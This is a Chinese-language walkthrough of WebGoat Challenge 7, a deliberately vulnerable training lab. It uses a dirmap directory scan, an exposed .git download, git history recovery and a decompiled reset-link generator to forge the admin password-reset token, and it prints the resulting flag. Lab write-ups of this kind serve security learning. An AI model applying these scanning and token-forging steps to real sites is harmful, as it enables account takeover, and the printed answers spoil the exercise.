前言
先上几个别人写好的通关策略, 几个对照着看基本能通关
- (Almost) Fully Documented Solution (en)
- webgoat全关教程手册
- 仙女象博主的WebGoat专栏系列
思路
先去github上看了下通关思路基本就下面几步
- 遍历网站后台目录, 找到
.git
目录 - 访问并下载
git.zip
文件 - 通过
.git
历史提交记录还原源码并分析 - 找到正确的key并生成重置链接的地址
过程
题目让重置admin管理员的密码, 先填个
[email protected]
的地址测试下, 点击
Reset Password
按钮会往webwolf发一封邮件
webwolf收到邮件后查看重置链接
大概能推测出需要发邮件给
[email protected]
并且webwolf要能收到admin的重置密码邮件或者推测出admin的
reset-password
后面那串token
前面的大佬分析网页源码的时候直接发现了题目给的提示
<!--
** Revision history (automatically added by: /challenge/7/.git/hooks)2e29cacb85ce5066b8d011bb9769b666812b2fd9 Updated copyright to 2017ac937c7aab89e042ca32efeb00d4ca08a95b50d6 Removed hardcoded keyf94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website
-->
访问一下这个代码仓库看有没有有用的东西,访问地址:
localhost:8080/WebGoat/challenge/7/.git/hooks
提示报错, 嗯… 这就是原题目作者说的git, 可惜找不到
扫描web目录
这时候使用
dirmap
扫描下web目录, 安装命令如下
git clone https://github.com/H4ckForJob/dirmap.git &&cd dirmap && python3 -m pip install -r requirement.txt
安装完成后修改代码路径下的
dirmap.conf
设置下
conf.request_header_cookie
参数, 该参数对应访问请求时用的cookie, 可以通过抓包获取
例如:
conf.request_header_cookie ="JSESSIONID=827E4428F2772788D71064C02BCE1405; WEBWOLFSESSION=9DB61B1E0928434835C82F4607D9A244"
最后 执行
python3 dirmap.py -i http://localhost:8080/WebGoat/challenge/7 -lcf
扫描下web目录会获取到
.git
的路径, 如下
python3 dirmap.py -i http://localhost:8080/WebGoat/challenge/7 -lcf
[*] Use crawl mode
[200][application/octet-stream][28.21kb] http://localhost:8080/WebGoat/challenge/7/.git/
[200][application/octet-stream][28.21kb] http://localhost:8080/WebGoat/challenge/7/.git
在
output
目录下也能找到扫描报告
获取git文件
访问
http://localhost:8080/WebGoat/challenge/7/.git
下载
.git
下载的文件直接打开会无法识别, 可以通过
ultraledit
等十六进制工具打开文件,可以看到二进制的信息头, 再通过二进制头识别文件类型,
504B03
对应
zip
压缩包格式文件
附:常见文件的文件头标识 原文: https://my.oschina.net/yagerfgcs/blog/701021
255044 PDF
526563 EML
D0CF11 PPT
4D5AEE COM
E93B03 COM
4D5A90 EXE
424D3E BMP
49492A TIF
384250 PSD
C5D0D3 EPS
0A0501 PCS
89504E PNG
060500 RAW
000002 TGA
60EA27 ARJ
526172 RAR
504B03 ZIP
495363 CAB
1F9D8C Z
524946 WAV
435753 SWF
3026B2 WMV
3026B2 WMA
2E524D RM
00000F MOV
000077 MOV
000001 MPA
FFFB50 MP3
234558 m3u
3C2144 HTM
FFFE3C XSL
3C3F78 XML
3C3F78 MSC
4C0000 LNK
495453 CHM
805343 scm
D0CF11 XLS
31BE00 WRI
00FFFF MDF
4D4544 MDS
5B436C CCD
00FFFF IMG
FFFFFF SUB
17A150 PCB
2A5052 ECO
526563 PPC
000100 DDB
42494C LDB
2A7665 SCH
2A2420 LIB
434841 FNT
7B5C72 RTF
7B5072 GTD
234445 PRG
000007 PJT
202020 BAS
000002 TAG
4D5A90 dll
4D5A90 OCX
4D5A50 DPL
3F5F03 HLP
4D5A90 OLB
4D5A90 IMM
4D5A90 IME
3F5F03 LHP
C22020 NLS
5B5769 CPX
4D5A16 DRV
5B4144 PBK
24536F PLL
4E4553 NES
87F53E GBC
00FFFF SMD
584245 XBE
005001 XMV
000100 TTF
484802 PDG
000100 TST
414331 dwg
D0CF11 max
# 另外还有一些重要的文件,没有固定的文件头,如下:
TXT 没固定文件头定义
TMP 没固定文件头定义
INI 没固定文件头定义
BIN 没固定文件头定义
DBF 没固定文件头定义
C 没没固定文件头定义
CPP 没固定文件头定义
H 没固定文件头定义
BAT 没固定文件头定义
# 还有一些不同的文件有相同的文件头,最典型的就是下面:
4D5A90 EXE
4D5A90 dll
4D5A90 OCX
4D5A90 OLB
4D5A90 IMM
4D5A90 IME
还原代码
解压后会生成一个
.git
隐藏文件夹,这个就是git代码库了,可以通过它来还原代码对象
执行
git status
发现一些文件被删除了, 主要是java编译后生成的class文件
git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)(use "git restore <file>..." to discard changes in working directory)
deleted: Challenge7.html
deleted: Challenge_7.adoc
deleted: MD5$1.class
deleted: MD5$MD5State.class
deleted: MD5.class
deleted: PasswordResetLink.class
执行
git reset --hard HEAD
还原代码文件, 之后被删除的文件就还原回来了
之后通过
IDEA
或者
jd-gui
可以直接反编译
PasswordResetLink.class
推测代码逻辑, 反编译后代码如下
importjava.util.Random;publicclassPasswordResetLink{publicPasswordResetLink(){}publicStringcreatePasswordReset(String var1,String var2){Random var3 =newRandom();if(var1.equalsIgnoreCase("admin")){
var3.setSeed((long)var2.length());}returnscramble(var3,scramble(var3,scramble(var3, MD5.getHashString(var1))));}publicstaticStringscramble(Random var0,String var1){char[] var2 = var1.toCharArray();for(int var3 =0; var3 < var2.length;++var3){int var4 = var0.nextInt(var2.length);char var5 = var2[var3];
var2[var3]= var2[var4];
var2[var4]= var5;}returnnewString(var2);}publicstaticvoidmain(String[] var0){if(var0 ==null|| var0.length !=2){System.out.println("Need a username and key");System.exit(1);}String var1 = var0[0];String var2 = var0[1];System.out.println("Generation password reset link for "+ var1);System.out.println("Created password reset link: "+(newPasswordResetLink()).createPasswordReset(var1, var2));}}
需要两个参数, 第一个参数是用户名第二个参数是key
分析源代码
org/owasp/webgoat/challenges/challenge7/Assignment7.java
发现用的key是
webgoat
回到之前还原代码的那个目录, 安装准备好java的jdk环境后 在命令框中执行
java PasswordResetLink admin webgoat
, 然后就能生成token了
java PasswordResetLink admin webgoat
Generation password reset linkfor admin
Created password reset link: a081235eff82092a319374c24aaa7574
但是
a081235eff82092a319374c24aaa7574
这个token是个错误的token,
访问 localhost:8080/WebGoat/challenge/7/reset-password/a081235eff82092a319374c24aaa7574 还是报错
分析WebGoat的代码发现正确的token是
375afe1104f4a487a73823c50a9292a2
这是为啥呢??? 一定是打开的姿势不对
找到key
偶然间重新回到还原class文件的那个地方执行
git log
查看提交记录发现有个
Removed hardcoded key
的提交信息,突然就找到了新大陆了, 这不就是key不对嘛😂
git log
commit 2e29cacb85ce5066b8d011bb9769b666812b2fd9 (HEAD -> master)
Author: Nanne Baars <[email protected]>
Date: Thu Aug 17 06:41:32 2017 +0200
Updated copyright to 2017
commit ac937c7aab89e042ca32efeb00d4ca08a95b50d6
Author: Nanne Baars <[email protected]>
Date: Thu Aug 17 06:41:09 2017 +0200
Removed hardcoded key
commit f94008f801fceb8833a30fe56a8b26976347edcf
Author: Nanne Baars <[email protected]>
Date: Thu Aug 17 06:40:04 2017 +0200
执行
git checkout f94008f801fceb8833a30fe56a8b26976347edcf
把代码还原到包含key的那个版本, 再执行
git status
发现
PasswordResetLink.class
被修改过
git status
On branch master
Changes not staged for commit:
(use "git add <file>..." to update what will be committed)(use "git restore <file>..." to discard changes in working directory)
modified: Challenge7.html
modified: PasswordResetLink.class
用IDEA反编译后发现了key是
!!keykeykey!!
执行
java PasswordResetLink admin
重新生成token, 注意下自己
PasswordResetLink.class
用的是哪个版本如果不包含key的话就执行
java PasswordResetLink admin !!keykeykey!!
java PasswordResetLink admin
Generation password reset linkfor admin
Created password reset link: 375afe1104f4a487a73823c50a9292a2
访问
http://localhost:8080/WebGoat/challenge/7/reset-password/375afe1104f4a487a73823c50a9292a2
得到flag
00a2ee26-e759-4e1a-9ea3-f9481a0b906f
版权归原作者 kainx 所有, 如有侵权,请联系我们删除。